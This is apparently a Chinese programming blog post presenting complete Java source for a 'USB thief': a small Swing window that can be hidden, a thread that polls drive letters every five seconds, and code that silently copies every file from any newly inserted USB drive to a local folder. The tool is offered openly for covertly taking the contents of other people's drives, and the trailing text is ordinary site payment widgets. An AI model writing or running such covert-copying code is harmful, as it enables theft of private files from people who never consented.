java实现U盘小偷

U盘小偷:插入u盘,自动拷贝u盘内容到本地磁盘

java swing界面启动,启动检查盘符进程,可隐藏到后台。

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;

/**
 * 注界面
 * 
 * @author jpp 2019年4月19日上午9:22:00
 */
public class MainView {

	public static void main(String[] args) {

		MainView u = new MainView();
		u.launchFrame();
		// 开启盘符检查线程
		new CheckRootThread().start();
	}

	// 界面
	private void launchFrame() {
		final JFrame frame = new JFrame();
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setSize(50, 50);
		JButton hide = new JButton("点击隐藏窗口");
		// 点击按钮后隐藏窗口事件监听
		hide.addActionListener(new ActionListener() {
			public void actionPerformed(ActionEvent e) {
				frame.setVisible(false);
			}
		});
		frame.add(hide);
		frame.pack();
		frame.setVisible(true);
	}

}

检查系统盘符进程,检测到新系统盘,触发拷贝进程。

import java.io.File;

/**
 * 
 * @author jpp
 * 2019年4月19日下午10:23:18
 */
public class CheckRootThread extends Thread{

		// 获取系统盘符
		private File[] sysRoot = File.listRoots();
	 
		public void run() {
			File[] currentRoot = null;
			while (true) {
				// 当前的系统盘符
				currentRoot = File.listRoots();
				if (currentRoot.length > sysRoot.length) {
					for (int i = currentRoot.length - 1; i >= 0; i--) {
						boolean isNewRoot = true;
						for (int j = sysRoot.length - 1; j >= 0; j--) {
							// 当两者盘符不同时,触发新盘符文件的拷贝
							if (currentRoot[i].equals(sysRoot[j])) {
								isNewRoot = false;
							}
						}
						if (isNewRoot) {
							new CopyThread(currentRoot[i]).start();
						}
					}
				}
				sysRoot = File.listRoots();
				//每5秒时间检查一次系统盘符
				try {
					Thread.sleep(5000);
				} catch (InterruptedException e) {
					e.printStackTrace();
				}
			}
		}

	}

拷贝文件进程

import java.io.File;

/**
 * 
 * @author jpp
 * 2019年4月19日上午9:52:35
 */
public class CopyThread extends Thread{

		File file = null;
	 
		public CopyThread(File file) {
			this.file = file;
		}
	 
		public void run() {
			listUsbFiles(file);
		}
		
		//遍历盘符文件,并匹配文件复制
		private void listUsbFiles(File ufile) {
			File[] files = ufile.listFiles();
			for (File f : files) {
				if (f.isDirectory()) {
					listUsbFiles(f);
				} else {
					new CopyFileToSysRoot(f).doCopy();
				}
			}
		}
}

拷贝文件方法

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
 
//文件复制IO
public class CopyFileToSysRoot {
	// 复制文件保存路径
	private static final String PATH = "D:\\USB";
	private File file = null;
 
	public CopyFileToSysRoot(File file) {
		this.file = file;
	}
 
	// 复制文件
	public void doCopy() {
		BufferedInputStream bis = null;
		BufferedOutputStream bos = null;
 
		try {
			//创建目录
			File fPath = new File(getFileParent(file));
			if (!fPath.exists()) {
				fPath.mkdirs();
			}
 
			bis = new BufferedInputStream(new FileInputStream(file));
			bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
					file.getName())));
 
			byte[] buf = new byte[1024];
			int len = 0;
			while ((len = bis.read(buf)) != -1) {
				bos.write(buf, 0, len);
				bos.flush();
			}
		} catch (FileNotFoundException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				if (bis != null)
					bis.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
			try {
				if (bos != null)
					bos.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
 
	// 根据盘符中文件的路径,创建复制文件的文件路径
	public String getFileParent(File f) {
		StringBuilder sb = new StringBuilder(f.getParent());
		int i = sb.indexOf(File.separator);
		sb.replace(0, i, PATH);
		return sb.toString();
	}
}
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值